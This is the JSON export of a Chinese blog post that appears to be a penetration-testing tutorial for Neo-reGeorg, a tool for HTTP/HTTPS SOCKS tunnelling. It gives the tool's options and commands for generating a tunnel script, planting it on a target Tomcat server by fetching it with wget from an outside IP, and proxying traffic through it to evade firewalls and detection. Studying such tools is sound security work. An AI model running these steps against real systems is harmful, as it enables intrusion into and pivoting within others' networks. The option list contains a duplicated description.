{"id":2059,"date":"2025-03-15T12:25:00","date_gmt":"2025-03-15T04:25:00","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2059"},"modified":"2025-03-15T12:25:01","modified_gmt":"2025-03-15T04:25:01","slug":"05-http%e4%bb%a3%e7%90%86%e9%9a%a7%e9%81%93","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/03\/15\/05-http%e4%bb%a3%e7%90%86%e9%9a%a7%e9%81%93\/","title":{"rendered":"05.HTTP\u4ee3\u7406\u96a7\u9053"},"content":{"rendered":"

Neo-reGeorg<\/h1>\n

\u4e00\u3001Neo-reGeorg\u7b80\u4ecb<\/h2>\n

Neo-reGeorg \u662f\u4e00\u4e2a\u57fa\u4e8e reGeorg \u7684\u6539\u8fdb\u5de5\u5177\uff0c\u4e3b\u8981\u7528\u4e8e\u901a\u8fc7 HTTP\/HTTPS \u534f\u8bae\u5efa\u7acb SOCKS \u4ee3\u7406\u96a7\u9053\uff0c\u5e2e\u52a9\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u7ed5\u8fc7\u9632\u706b\u5899\u9650\u5236\uff0c\u8bbf\u95ee\u5185\u7f51\u8d44\u6e90\u3002<\/p>\n

\u4e3b\u8981\u529f\u80fd<\/h3>\n
    \n
  1. SOCKS \u4ee3\u7406<\/strong>\uff1a\u901a\u8fc7 HTTP\/HTTPS \u521b\u5efa SOCKS5 \u4ee3\u7406\u96a7\u9053\uff0c\u652f\u6301\u591a\u5e73\u53f0\u3002<\/li>\n
  2. \u9690\u853d\u6027<\/strong>\uff1a\u6d41\u91cf\u4f2a\u88c5\u6210\u6b63\u5e38 HTTP\/HTTPS \u8bf7\u6c42\uff0c\u907f\u514d\u88ab\u68c0\u6d4b\u3002<\/li>\n
  3. \u591a\u8bed\u8a00\u652f\u6301<\/strong>\uff1a\u63d0\u4f9b PHP\u3001JSP\u3001ASPX \u7b49\u591a\u79cd\u8bed\u8a00\u7684\u96a7\u9053\u811a\u672c\u3002<\/li>\n
  4. \u52a0\u5bc6\u4f20\u8f93<\/strong>\uff1a\u652f\u6301 AES \u52a0\u5bc6\uff0c\u63d0\u5347\u6570\u636e\u4f20\u8f93\u5b89\u5168\u6027\u3002<\/li>\n
  5. \u591a\u7528\u6237\u652f\u6301<\/strong>\uff1a\u5141\u8bb8\u591a\u4e2a\u7528\u6237\u540c\u65f6\u4f7f\u7528\u540c\u4e00\u96a7\u9053\u3002<\/li>\n<\/ol>\n

    \u9009\u9879\u53c2\u6570\u4ecb\u7ecd<\/h3>\n
    python neoreg.py -h\n\n\u53ef\u9009\u53c2\u6570:\n  -h, - -help                    \u663e\u793a\u6b64\u5e2e\u52a9\u6d88\u606f\u5e76\u9000\u51fa\n  -u URI, --url URI             \u5305\u542b\u96a7\u9053\u811a\u672c\u7684URL\n  -r URL, --redirect-url URL    \u8f6c\u53d1\u5230\u6307\u5b9a\u670d\u52a1\u5668\u7684\u5185\u7f51\u5730\u5740\uff08\u4ec5\u9002\u7528\u4e8e jsp (x)\uff09\n  -R, --force-redirect          \u5f3a\u5236\u8f6c\u53d1\uff08\u4ec5\u9002\u7528\u4e8e jsp -r \uff09\n  -t IP:PORT, --target IP:PORT  \u7f51\u7edc\u8f6c\u53d1\u76ee\u6807\uff0c\u8bbe\u7f6e\u6b64\u53c2\u6570\u540e\u5c06\u542f\u7528\u7aef\u53e3\u8f6c\u53d1\n  -k KEY, --key KEY             \u6307\u5b9a\u8fde\u63a5\u5bc6\u94a5\n  -l IP, --listen-on IP         \u9ed8\u8ba4\u7684\u76d1\u542c\u5730\u5740\u3002\uff08\u9ed8\u8ba4\uff1a127.0.0.1\uff09\n  -p PORT, --listen-port PORT      \u9ed8\u8ba4\u7684\u76d1\u542c\u7aef\u53e3\u3002\uff08\u9ed8\u8ba4\uff1a1080\uff09\n  -s, --skip                    \u8df3\u8fc7\u53ef\u7528\u6027\u6d4b\u8bd5\n  -H LINE, --header LINE          \u5c06\u81ea\u5b9a\u4e49header LINE\u4f20\u9012\u7ed9\u670d\u52a1\u5668\n  -c LINE, --cookie LINE         \u81ea\u5b9a\u4e49\u521d\u59cb\u5316Cookie\n  -x LINE, --proxy LINE         proto:\/\/host[:port]\u5728\u7ed9\u5b9a\u7aef\u53e3\u4e0a\u4f7f\u7528\u4ee3\u7406\n  --php-connect-timeout S       PHP \u8fde\u63a5\u8d85\u65f6\u65f6\u95f4\uff08\u9ed8\u8ba4\u4e3a\uff1a0.5\uff09\n  --local-dns                   \u672c\u5730\u8bfb\u53d6\u7f13\u51b2\u533a\uff0c\u6bcf\u4e2aPOST\u53d1\u9001\u7684\u6700\u5927\u6570\u636e\u91cf\uff08\u9ed8\u8ba4\u503c\uff1a2048 \u6700\u5927\uff1a2600\uff09\n  --read-buff Bytes             \u672c\u5730\u8bfb\u53d6\u7f13\u51b2\u533a\uff0c\u6bcf\u4e2aPOST\u53d1\u9001\u7684\u6700\u5927\u6570\u636e\u91cf\uff08\u9ed8\u8ba4\u503c\uff1a2048 \u6700\u5927\uff1a2600\uff09\n  --read-interval MS            \u8bfb\u53d6\u6570\u636e\u95f4\u9694\uff0c\u4ee5\u6beb\u79d2\u4e3a\u5355\u4f4d\u3002\uff08\u9ed8\u8ba4\u503c\uff1a100\uff09\n  --max-threads N               \u4ee3\u7406\u6700\u5927\u7ebf\u7a0b\u6570\uff08\u9ed8\u8ba4\u503c\uff1a1000\uff09\n  --max-retry N                 \u4ee3\u7406\u6700\u5927\u91cd\u8bd5\u6b21\u6570\uff08\u9ed8\u8ba4\u4e3a\uff1a10\uff09\n  --cut-left N                  \u622a\u65ad\u54cd\u5e94\u4f53\u7684\u5de6\u4fa7\u90e8\u5206\n  --cut-right N                 \u622a\u65ad\u54cd\u5e94\u4f53\u7684\u53f3\u4fa7\u90e8\u5206\n  --extract EXPR                \u624b\u52a8\u63d0\u53d6\u54cd\u5e94\u4f53\uff08\u4f8b\u5982\uff1a<html><p>NEOREGBODY<\/p><\/html>\uff09\n  -v                            \u63d0\u9ad8\u8be6\u7ec6\u7a0b\u5ea6\uff08\u4f7f\u7528-vv\u6216\u66f4\u591a\u4ee5\u83b7\u5f97\u66f4\u597d\u7684\u6548\u679c\uff09\n<\/code><\/pre>\n
    \u4e8c\u3001Neo-reGeorg\u4f7f\u7528<\/h2>\n
    \u76f4\u63a5\u8bbf\u95ee\u6d4f\u89c8\u5668\u6216\u8005WEBshell\u6570\u636e\u662f\u901a\u8fc7HTTP\u6216\u8005HTTPS\uff0c\u53ef\u4ee5\u88ab\u8f7b\u6613\u7684\u8bc6\u522b
    \n\u5982\u679c\u6302\u4e0a\u4e86\u4ee3\u7406\uff0c\u6570\u636e\u5c06\u662fsocks\u52a0\u5bc6\uff0c\u65e0\u6cd5\u8f7b\u6613\u7684\u88ab\u8bc6\u522b<\/p>\n
    1.\u8bbe\u7f6e\u5bc6\u7801\u751f\u6210 tunnel.(aspx\u3001ashx\u3001jsp\u3001jspx\u3001php) \u5e76\u4e0a\u4f20\u5230WEB\u670d\u52a1\u5668<\/h2>\n
    python neoreg.py generate -k passwd\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    2.\u4e0b\u8f7d tunnel \u811a\u672c\u5230\u76ee\u6807WEB\u670d\u52a1<\/h2>\n
    wget http:\/\/120.79.150.243:8000\/tunnel.jsp -O \/usr\/local\/tomcat\/webapps\/ROOT\/tunnel.jsp\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    3.\u4f7f\u7528 neoreg.py \u8fde\u63a5WEB\u670d\u52a1\u5668\uff0c\u5728\u672c\u5730\u5efa\u7acb socks \u4ee3\u7406\uff0c\u4ee3\u7406\u9ed8\u8ba4\u7aef\u53e3 1080<\/h2>\n
    python neoreg.py -k passwd -u http:\/\/x.x.x.x:38080\/tunnel.jsp\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    4.\u6d4b\u8bd5\u4ee3\u7406\u662f\u5426\u5f00\u542f<\/h2>\n
    proxychains curl 127.0.0.1:8080\n<\/code><\/pre>\n
    \"Pasted<\/div>
    \n\u6210\u529f\u8bbf\u95ee<\/p>\n","protected":false},"excerpt":{"rendered":"
    Neo-reGeorg \u4e00\u3001Neo-reGeorg\u7b80\u4ecb Neo-reGeorg \u662f\u4e00\u4e2a\u57fa\u4e8e reGeorg \u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,9],"tags":[],"class_list":["post-2059","post","type-post","status-publish","format-standard","hentry","category-55","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2059"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2059\/revisions"}],"predecessor-version":[{"id":2060,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2059\/revisions\/2060"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2059"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}